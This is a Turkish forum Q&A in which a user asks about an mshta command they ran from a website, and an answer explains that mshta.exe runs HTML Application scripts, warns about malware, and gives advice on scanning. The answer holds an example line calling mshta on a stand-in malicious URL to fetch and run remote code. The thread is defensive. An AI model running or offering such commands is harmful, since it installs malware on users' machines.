mshta.exe nedir? Bir siteden yanlışlıkla mshta.exe ile komut çalıştırdım

0

mshta nedir? Bir siteden yanlışlıkla mshta ile başlayan bir komut çalıştırdım. Komut mshta site.com/wwww/wwdff gibi bi şeydi tam hatırlamıyorum site adını ama komut böyleliydi mshta vardı ve sitenin adresi vardı. Sonra bilgisayarda bir şeyler açıldı kapandı. mshta nedir? mshta çalıştırırsam ne olur? mshta virüs mü?

acemiadam acemiadam (220)
3 saat önce sordu

    Toplam 1 Cevap


    0

    Mshta aslında Windows işletim sisteminin bir bileşeni.  Microsoft HTML Application (HTA) denen script kodları çalıştırmaya yarıyor.  HTML içine gömülü olan VBScript ve JScript kodlarını çalıştırabiliyor.

    Normalde faydalı bir uygulama olmakla beraber saldırganlar sık sık bir web sayfasına gömdükleri zararlı kodları mshta.exe ile çalıştırabiliyorlar.

    Mesela

    Mshta https://zararlisiteçş.com/zararlikodlar

    gibi uzak bir sunucudaki zararlı kodların bilgisayarda çalıştırabilmesini sağlıyorlar. Bu sayede bilgisayara trojan, virüs yükleyebiliyorlar.  

    Sen de böyle bir saldırının kurbanı olmuşsun. Mshta virüs değil fakat bu uygulama ile virüs yüklenebiliyor. Muhtemel senin bilgisayarında da virüs var şuanda. Acilen bir antivirü ile bilgisayarı tara. Windows defender açık değilse mutlaka aç.  Malwarebytes vb programlar ile tarama yapmanda fayda var.

    mshta.exe dosyasını silme ama bir daha mshta.exe ile başlayan internette gördüğün kodları çalıştıra yapıştırma.

     

    murat murat (12586)
    1 saat önce cevaplandı

      üyelik gerektirir

      Cevap yazabilmek için üye girişi yapmalısınız.

      Eğer uzmanim.net üyesiyseniz giriş yapabilirsiniz: üye girişi yap
      uzmanim.net'e üye olmak çok kolaydır: hemen kayıt ol